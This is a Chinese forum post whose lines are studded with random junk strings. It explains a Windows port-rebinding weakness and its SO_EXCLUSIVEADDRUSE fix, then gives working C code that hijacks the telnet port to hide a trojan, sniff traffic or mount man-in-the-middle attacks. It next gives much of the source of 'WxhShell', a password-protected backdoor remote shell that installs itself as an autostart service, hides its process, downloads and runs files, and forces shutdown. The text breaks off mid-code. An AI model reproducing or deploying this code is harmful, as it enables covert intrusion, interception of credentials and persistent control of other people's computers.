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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: r%ES#\L6+|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); eNAxVF0  
- Fbp!*. u  
  saddr.sin_family = AF_INET; YoKyiO!   
+)jll#}?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _q27 3QG/"  
&HM-UC|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); qM(}|fMbN  
=L" 0]4K  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 PFh ^Z L  
/^BC Qaj  
  这意味着什么?意味着可以进行如下的攻击: =79R;|5  
Z,38eQpM  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 JF4A  
-Qn7+?P  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !-f Bw  
*n? 1C"l  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {G:y?q'z  
w!7\wI[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Y7VO:o  
1jl !VU6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 E6A"Xo  
neDXzMxF  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 kW g.-$pp  
(8JU!lin  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5G* cAlU  
} p'ZMj&  
  #include ;hX(/T  
  #include vjGQ!xF  
  #include 0Z9DewwP  
  #include     Z.6dL  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <=q} Nd\  
  int main() 8vY-bm,e  
  { G21o @38e  
  WORD wVersionRequested; yp.K-  
  DWORD ret; `Z?wj@H1`  
  WSADATA wsaData; EiW|+@1  
  BOOL val; /fr>Fd  
  SOCKADDR_IN saddr; jmM|on!  
  SOCKADDR_IN scaddr; 6Dq4Q|C  
  int err; @!#e\tx  
  SOCKET s; T pkSY`T  
  SOCKET sc; qos7u91z  
  int caddsize; 0CrsZtX  
  HANDLE mt; p~qe/  
  DWORD tid;   wSTul o:9  
  wVersionRequested = MAKEWORD( 2, 2 ); hArY$T&MB  
  err = WSAStartup( wVersionRequested, &wsaData ); 9oWU]A\k>  
  if ( err != 0 ) { !+T1kMP+l  
  printf("error!WSAStartup failed!\n"); 9)q3cjP{<  
  return -1; 5AYOM=O]t  
  } Wy}I"q[~So  
  saddr.sin_family = AF_INET; <\aeC2~M  
   =Ph8&l7~sp  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'pdTV:]zA  
XIHN6aQ{X  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |p11Jt[  
  saddr.sin_port = htons(23); -Aj)<KNx[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $cCC 1=dW  
  { V#t_gS  
  printf("error!socket failed!\n"); T # \  
  return -1; "ZuuSi  
  } x*Lt]]A  
  val = TRUE; ff"wg\O4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 tgK I  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) '$K E= Jy  
  { dj0; tQ=C  
  printf("error!setsockopt failed!\n"); tMIYVHGy  
  return -1; ]A#lV$  
  } !>8~R2  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; WSkGVQu  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6o 3 bq|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 AlSO  
6OES'3Cy  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) kI{DxuTad  
  { /0h *(nL  
  ret=GetLastError(); `@]s[1?f  
  printf("error!bind failed!\n"); K2x[ApS#  
  return -1; kI\m0];KnQ  
  } -Mt 5< s  
  listen(s,2); [4Z 31v>  
  while(1) XpQOl  
  { U2oCSo5:3N  
  caddsize = sizeof(scaddr); Ykbg5Z  
  //接受连接请求 u2V-V#jS  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *2'8d8>R%]  
  if(sc!=INVALID_SOCKET) K"}fD;3  
  { _]Hna<Ly  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); g*| j+<:7  
  if(mt==NULL) (B7G'h.?  
  { 7io["zW  
  printf("Thread Creat Failed!\n"); yzA05npTl  
  break; m7 =$*1k  
  } GP|=4T}Bf  
  } 1gEH~Jmj  
  CloseHandle(mt); OW:*qY c;:  
  } Nkdv'e\  
  closesocket(s); =8kmFXo  
  WSACleanup(); US6_5>/  
  return 0; FqKJids-  
  }   ;t`  ?|  
  DWORD WINAPI ClientThread(LPVOID lpParam) EP;/[O  
  { !QUY (  
  SOCKET ss = (SOCKET)lpParam; j =_rUc'Me  
  SOCKET sc; K~x,so  
  unsigned char buf[4096]; &K)8  
  SOCKADDR_IN saddr; weitDr6  
  long num; wucdXj{%  
  DWORD val; l.[pnLD  
  DWORD ret; ~xH&"1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +Q*`kg'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !,WGd|oJ  
  saddr.sin_family = AF_INET; TBhM^\z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "q4tvcK.  
  saddr.sin_port = htons(23); B{-7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D7ex{SVA)  
  { # kI>  
  printf("error!socket failed!\n"); R#(0C(FI^  
  return -1; F /b`[  
  } X>%nzY]m  
  val = 100; 3P>gDQP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _`$LdqgE  
  { q!c(~UVw  
  ret = GetLastError(); <t%gl5}|  
  return -1; wN 2+3LY{  
  } (z?HyxRT  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]' mbHkn68  
  { \ /-c)  
  ret = GetLastError(); .J#'k+>  
  return -1; *p l6 V|  
  } l/$GF|`U  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]AP1+ &9fN  
  { GnV0~?  
  printf("error!socket connect failed!\n"); <?jd NM  
  closesocket(sc); 93-Y(Xx)bY  
  closesocket(ss); ~m%[d. }e  
  return -1; >&L|oq7$  
  } Iw1Y?Qia  
  while(1) x^eu[olN  
  { B.<SC  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 a(Y'C`x  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *2X6;~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~/:vr  
  num = recv(ss,buf,4096,0); h@)U,&  
  if(num>0) KuNLu31%  
  send(sc,buf,num,0); WSThhI  
  else if(num==0) +,Dc0VC?  
  break; x_PO;  
  num = recv(sc,buf,4096,0); q:{#kv8  
  if(num>0) )!y>2$20 r  
  send(ss,buf,num,0); 2FcL-?  
  else if(num==0) 4Nm>5*]  
  break; >hKsj{=R7  
  } 3f|}p{3  
  closesocket(ss); mDD.D3RS  
  closesocket(sc); fV:15!S[  
  return 0 ; c? ::l+  
  } 77e*9/6@  
[f6uwp  
pMF vL  
========================================================== S"Al [{  
 *7Dba5B  
下边附上一个代码,,WXhSHELL B6XO&I1c  
ROO*/OOd  
========================================================== ?7{U=1gb$  
5Z=4%P*I  
#include "stdafx.h" *% -<Ldv  
.soCU8i3  
#include <stdio.h> EZtU6kW"  
#include <string.h> Xj?Wvt  
#include <windows.h> QxT'\7f  
#include <winsock2.h> ~%hdy @  
#include <winsvc.h> M,Gy.ivz  
#include <urlmon.h> :XKYfc_y  
GR,2^]<{  
#pragma comment (lib, "Ws2_32.lib") $+gQnI3w  
#pragma comment (lib, "urlmon.lib") Ht`fC|E  
01bCP  
#define MAX_USER   100 // 最大客户端连接数 $Dg-;I  
#define BUF_SOCK   200 // sock buffer n}p G&&;q  
#define KEY_BUFF   255 // 输入 buffer NW|B|kc  
 <,.$U\W  
#define REBOOT     0   // 重启 D(cD8fn,J  
#define SHUTDOWN   1   // 关机 p l)":}/)  
uLms0r\@!  
#define DEF_PORT   5000 // 监听端口 za l]t$z>  
_S!^=9bJ  
#define REG_LEN     16   // 注册表键长度 #-az]s|N  
#define SVC_LEN     80   // NT服务名长度 d[9,J?'OQ  
s"L&y <?)  
// 从dll定义API .X g.,kW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .j6udiv5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2j\_svw'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [V}vd@*k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :4AQhn^;"  
o<g?*"TRh  
// wxhshell配置信息 /%$Zm^8c  
struct WSCFG { 6]4~]!  
  int ws_port;         // 监听端口 +cpb!YEAb  
  char ws_passstr[REG_LEN]; // 口令 tldT(E6  
  int ws_autoins;       // 安装标记, 1=yes 0=no [i.@q}c~E  
  char ws_regname[REG_LEN]; // 注册表键名 vrn4yHoZ  
  char ws_svcname[REG_LEN]; // 服务名 1N5 E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wl=tN{R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 opX07~1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VO#rJ1J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no AXw qN:P}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g 2Fg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z bRRDXk!  
)1<0c@g=  
}; PW*Vfjf4  
x;ik   
// default Wxhshell configuration 5- dt0I@<  
struct WSCFG wscfg={DEF_PORT, g&RpE41x  
    "xuhuanlingzhe", +'H[4g`  
    1, X[z;P!U  
    "Wxhshell", ^} j~:EZb  
    "Wxhshell", ODJ"3 J  
            "WxhShell Service", Y;af|?U*6:  
    "Wrsky Windows CmdShell Service", KFM[caKeJO  
    "Please Input Your Password: ", bGh&@&dHr  
  1, e\)%<G5  
  "http://www.wrsky.com/wxhshell.exe", 2%/F`_XbP  
  "Wxhshell.exe" kHg|!  
    }; H4Bt.5O*  
& -/J~b)"  
// 消息定义模块 QPy h.9:N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [bLKjD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vbJ<|#|r-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6/!:vsa"3  
char *msg_ws_ext="\n\rExit."; 288mP]a(v_  
char *msg_ws_end="\n\rQuit."; mF gqM:  
char *msg_ws_boot="\n\rReboot..."; dJ"44Wu+J  
char *msg_ws_poff="\n\rShutdown..."; r*HSi.'21  
char *msg_ws_down="\n\rSave to "; >iyNZ]."\  
zU5@~J  
char *msg_ws_err="\n\rErr!"; @= <{_p  
char *msg_ws_ok="\n\rOK!"; @Y~gdK  
DLwlA !z  
char ExeFile[MAX_PATH]; 'm0WPS/6E  
int nUser = 0; t/i*.>7  
HANDLE handles[MAX_USER]; R6~6b&-8  
int OsIsNt; tbQY&TO1  
G>~/  
SERVICE_STATUS       serviceStatus; 1I;q@g0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XRaGV~  
s$y_(oU,D  
// 函数声明 ~XUUrg;  
int Install(void); rEr=Mi2  
int Uninstall(void); % :G78.  
int DownloadFile(char *sURL, SOCKET wsh); PvKGB01_  
int Boot(int flag); jLFaf#G]  
void HideProc(void); 2e6P?pX~2  
int GetOsVer(void); 8Y SvBy  
int Wxhshell(SOCKET wsl); eKP >} `  
void TalkWithClient(void *cs); 1^IMoC7$#  
int CmdShell(SOCKET sock); $`xpn#l z  
int StartFromService(void); c{ 'Z.mut  
int StartWxhshell(LPSTR lpCmdLine); \t{iyUxY  
Jq1oQu|rs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5|0}bv O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n3e,vP? R  
/G5KNSi  
// 数据结构和表定义 e {6wFN  
SERVICE_TABLE_ENTRY DispatchTable[] = _d!sSyk`  
{ y9}qB:[bR  
{wscfg.ws_svcname, NTServiceMain}, f y|JE9Io_  
{NULL, NULL} clDn=k<  
}; mjOxmwo  
/}u:N:HA%  
// 自我安装 b'( AVA  
int Install(void) Ioe.[&o6B  
{ Y1o[|yt W  
  char svExeFile[MAX_PATH]; <mX5VGY9^  
  HKEY key; J rK{MhO  
  strcpy(svExeFile,ExeFile); Eq@sU?j  
R14&V1 tZ  
// 如果是win9x系统,修改注册表设为自启动 gvVy0nJI~  
if(!OsIsNt) { Gn7\4,C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mq{Z Q'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LBio$67F  
  RegCloseKey(key); nA Nl9;G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4=MVn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M_O$]^I3w  
  RegCloseKey(key); 3SM'vV0[  
  return 0; I'D3~UI f  
    } .(&6gB  
  } mAH7; u<  
} 9f['TG,"  
else { v~RxtTu  
[\F:NLjiUy  
// 如果是NT以上系统,安装为系统服务 4][VK/v+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yS)k"XNb  
if (schSCManager!=0) B^19![v3T  
{ 9X[378f+(  
  SC_HANDLE schService = CreateService !yg &zzP*  
  ( /XG7M=A$o  
  schSCManager, Cpzdk~+H  
  wscfg.ws_svcname, tzl,r"k3  
  wscfg.ws_svcdisp, i K@RQi  
  SERVICE_ALL_ACCESS, %B&O+~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4FneP i~i  
  SERVICE_AUTO_START, DKo6lP`  
  SERVICE_ERROR_NORMAL, *3^7'^j<  
  svExeFile, H94_ae  
  NULL, OL=X&Vaf<  
  NULL, j %MY6"  
  NULL, DN8I[5O  
  NULL, Z=hn }QY.(  
  NULL ZSlK   
  ); r:xg#&"*  
  if (schService!=0) [3irr0D7l  
  { ]Y & 2&  
  CloseServiceHandle(schService); z@~Z Mk  
  CloseServiceHandle(schSCManager); 8<Nz34Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "= s dn  
  strcat(svExeFile,wscfg.ws_svcname); d+Mogku2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?n<sN"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w8>lWgN  
  RegCloseKey(key); 7d{xXJ-  
  return 0; ^`-Hg=d  
    } %jUZc:06  
  } 2+|r*2_glo  
  CloseServiceHandle(schSCManager); $sL+k 'dY  
} 3b?-83a  
} .&=\ *cZc  
xR'd}>`  
return 1; -Hi_g@i*XW  
} v&sp;%I6=  
cLp9|y0r  
// 自我卸载 WnQ'I=E#~  
int Uninstall(void) AzGbvBI&V  
{ rI)&.5^  
  HKEY key; hAi'|;g  
P^ -x  
if(!OsIsNt) { Ty 6XU!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aF=;v*  
  RegDeleteValue(key,wscfg.ws_regname); WUDXx %  
  RegCloseKey(key); PC=s:`Y}R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PVKq&Q?  
  RegDeleteValue(key,wscfg.ws_regname); Kd#64NSi$A  
  RegCloseKey(key); 4J[bh  
  return 0; v&^N+>p  
  } RplcM%YJn  
} 8Z@O%\1x6  
} X7aj/:fXe  
else { I tn?''~;  
e mq%" ;.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +SRM?av  
if (schSCManager!=0) rI:]''PR  
{ ^J?2[(   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KE)^S [Da  
  if (schService!=0) 'u [cT$  
  { =F*{O=  
  if(DeleteService(schService)!=0) { RvW>kATb_F  
  CloseServiceHandle(schService); I7ySm12}  
  CloseServiceHandle(schSCManager); +c'I7bBr  
  return 0; Mf:x9#  
  } F fzY3r+   
  CloseServiceHandle(schService); 5OFb9YX  
  } t5p#g <$  
  CloseServiceHandle(schSCManager); "MT{t><  
} m<9W#  
} ,g)9ZP.F  
w68VOymD/  
return 1; is- {U? -  
} v2#qs*sW8  
Zfr?(y+3  
// 从指定url下载文件 * 8D(Lp1  
int DownloadFile(char *sURL, SOCKET wsh) vCR\lR+  
{ j%0 g *YI  
  HRESULT hr; "jl`FAu)q  
char seps[]= "/"; V> eJ  
char *token; E<_+Tc  
char *file; !I8( Y  
char myURL[MAX_PATH]; r,Pu-bhF  
char myFILE[MAX_PATH]; Y0OVzp9 b  
{Q L qf   
strcpy(myURL,sURL); )3_g&&  
  token=strtok(myURL,seps); gtP;Qw'  
  while(token!=NULL) PJcz] <  
  { #`Et{6W S  
    file=token; \=g%W^i  
  token=strtok(NULL,seps); r(=3yd/G$  
  } 7W#9ki1  
w*N9p8hb]  
GetCurrentDirectory(MAX_PATH,myFILE); QeAkuqT'[  
strcat(myFILE, "\\"); v3jx2Z  
strcat(myFILE, file); UUql"$q  
  send(wsh,myFILE,strlen(myFILE),0); yIThzy S  
send(wsh,"...",3,0); (au 7wI{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <Gudx>I  
  if(hr==S_OK) lO|H:7  
return 0; Q ?W6  
else |7T!rnr  
return 1; /9yA.W;  
;c>Rjg&[  
} 'uOp?g'7  
Ie;}k;?-  
// 系统电源模块 `S7${0e  
int Boot(int flag) Ol@ YSkd  
{ \+w -{"u$  
  HANDLE hToken; V/!8q`lYNJ  
  TOKEN_PRIVILEGES tkp; ]pA}h. R#-  
A&0sD}I\K  
  if(OsIsNt) { Uz!cVs?-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7,"1%^tU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xF{<-b  
    tkp.PrivilegeCount = 1; =M9Od7\J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'W j Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .es= w=  
if(flag==REBOOT) { K`1\3J)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f&>Q 6 {*]  
  return 0; M:(k7a+[^  
} UIv 2wA2  
else { \h"QgHzp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z5{M_^  
  return 0; MgLz:2 :F  
} qx/GioPU  
  }  /m*vY`  
  else { *K\/5Fzl  
if(flag==REBOOT) { UkL'h&J~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f-6E>  
  return 0; Z,,Wo %)o  
} x2TCw  
else { #H1yjJQ /x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'bg%9}  
  return 0; ni]gS0/  
} B: uW(E  
} uoKC+8GA  
W~QZ(:IK  
return 1; fr\UX}o  
} @,sg^KB  
? B^*YCo7(  
// win9x进程隐藏模块 5,qfr!hN,  
void HideProc(void) &e% y|{Y  
{ F+AShh  
) f'cy@b   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i@_|18F]`  
  if ( hKernel != NULL ) >UuLSF}  
  { $0K9OF9$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I\DT(9 'E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rYq8OZLi  
    FreeLibrary(hKernel); {{=7mbc  
  } QkzPzbF"  
`&>!a  
return; YrgwR  
} G0//P .#  
z0Gh |N@)  
// 获取操作系统版本 yZ+o7?(2p  
int GetOsVer(void) P*(lc:  
{ }`  
  OSVERSIONINFO winfo; AC(}cMM+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s6).?oE  
  GetVersionEx(&winfo); \"PlM!0du  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )r1Z}X(#d  
  return 1; 2&!G@5  
  else !cE)LG  
  return 0; F{f "xM  
} T cSj `-  
e[n T'e  
// 客户端句柄模块 <<&:BK   
int Wxhshell(SOCKET wsl) Cl>'K*$F  
{ Z)7 {e"5d  
  SOCKET wsh; XUUS N  
  struct sockaddr_in client; Khw!+!(H  
  DWORD myID; IEeh)aj[  
Q:kpaMA1P  
  while(nUser<MAX_USER) R_ 4600  
{ G m<t2Csn  
  int nSize=sizeof(client); Ra_6}k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0/(YH  
  if(wsh==INVALID_SOCKET) return 1; O*yc8fUI  
]Wv\$JXI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); **0Y*Ax@  
if(handles[nUser]==0) l=EIbh  
  closesocket(wsh); XX}RbE#4  
else } "y{d@  
  nUser++; 94|BSxc  
  } KY"W{D9ib  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I%*o7"  
+5);"71  
  return 0; ;Cyt2]F  
} &g@?{5FP  
jPA?0h  
// 关闭 socket :fpYraBM  
void CloseIt(SOCKET wsh) /k}v m3  
{ %t%+;(M9  
closesocket(wsh); b9w9M&?fT  
nUser--; }[l`R{d5q>  
ExitThread(0); |yN7#O-D  
} tM ]qR+  
jr@<-.  
// 客户端请求句柄 6]Ppa ~Xwq  
void TalkWithClient(void *cs) tq>QZEg  
{ eyl+D sK  
ga~rllm;i  
  SOCKET wsh=(SOCKET)cs; 0V`0="rQ  
  char pwd[SVC_LEN]; 't^OIil  
  char cmd[KEY_BUFF]; |'mgo  
char chr[1]; 01#a  
int i,j; `;4zIBJ  
jcOxtDTSW  
  while (nUser < MAX_USER) { .#J'+LxFr  
,T jd  
if(wscfg.ws_passstr) { !>;p^^e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w]F(o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =Q Otag1;  
  //ZeroMemory(pwd,KEY_BUFF); `2d,=.X  
      i=0; 1|n,s-  
  while(i<SVC_LEN) { ShHm7+fV  
cq % =DZ  
  // 设置超时 -~v;'zOO  
  fd_set FdRead; JyYg)f  
  struct timeval TimeOut; j$A~3O<e"  
  FD_ZERO(&FdRead); =R?NOWrDY  
  FD_SET(wsh,&FdRead); 4 K{4=uU  
  TimeOut.tv_sec=8; 3(}HD*{E[@  
  TimeOut.tv_usec=0; ;VYL7Xu](  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %nP13V]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KS1Z&~4  
LYkW2h`JQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *w59BO&M4  
  pwd=chr[0]; 0b~5i-zM/  
  if(chr[0]==0xd || chr[0]==0xa) { SpjL\ p0  
  pwd=0; Iz!Blk  
  break; E,u@,= j  
  } \BbemCPAm  
  i++; "f(iQI  
    } P0 DvZV8  
I%b, H`  
  // 如果是非法用户,关闭 socket *ukugg.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BRFA%FZ,  
} %{5mkO&,2  
FSIV\ u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d1D{wZ3g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 92bvmP*o4  
9eH(FB  
while(1) { 6|rqsk  
2zh?]if  
  ZeroMemory(cmd,KEY_BUFF); H)G ^ Y1  
,c YU  
      // 自动支持客户端 telnet标准   ul>$vUbyf  
  j=0; G?8LYg!-  
  while(j<KEY_BUFF) { ePa1 @dI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \ :1MM  
  cmd[j]=chr[0]; ~z^VMr  
  if(chr[0]==0xa || chr[0]==0xd) { ShxB!/s  
  cmd[j]=0; t+W+f  
  break; Pj8s;#~u  
  } \NDSpT<Z  
  j++; k6QQoLb$V  
    } T`Sp!  
BPIp3i  
  // 下载文件 tb/bEy^  
  if(strstr(cmd,"http://")) { 8AOJ'~$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8sx\b  
  if(DownloadFile(cmd,wsh)) P'KaWu9z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (SfP3  
  else 12~zS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wtndXhVC4>  
  } 8h78Zb&[  
  else { ^EN_C<V;"d  
%XMrS lSOp  
    switch(cmd[0]) { ` Cdk b5  
  CY? ]o4IV  
  // 帮助 [kMXr'TyPX  
  case '?': { W r );A{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -z-58FLlO  
    break; Y]0oF_ :7  
  } \RnGKQ"4  
  // 安装 '{@hBB+ D  
  case 'i': { 6I.N:)=  
    if(Install()) u7UqN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pj6Q0h)  
    else @AvXBMq|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xYtY}?!"  
    break; t IdH?x  
    } 0e^j:~*  
  // 卸载 <fCgU&  
  case 'r': { $M@SZknm  
    if(Uninstall()) p)(mF"\8=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZsirX~W<  
    else j/5>zS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,]w -!I  
    break; :(c2YZ   
    } xC9^x7%3O  
  // 显示 wxhshell 所在路径 72GXgah  
  case 'p': { DQDt*Uj,  
    char svExeFile[MAX_PATH]; 1uG?R  
    strcpy(svExeFile,"\n\r"); p{"p<XFyO  
      strcat(svExeFile,ExeFile); C eNpJ  
        send(wsh,svExeFile,strlen(svExeFile),0); .taJCE  
    break; #r `hK)  
    } 5H1SC8+B,  
  // 重启 IpXg2QbN  
  case 'b': { %qcBM~efT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); if9I7@  
    if(Boot(REBOOT)) `o8b\p\zn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a\$PqOB!  
    else { +[V[{n  
    closesocket(wsh); iNZ'qMH22  
    ExitThread(0); @tdX=\[~  
    } g^26Gb.  
    break; ?D/r1%Z  
    } iOm~  
  // 关机 .7ESPr  
  case 'd': { 2-ev7:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c@1C|  
    if(Boot(SHUTDOWN)) 8c\mm 0n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L01R.3Z+  
    else { 5YUn{qtD  
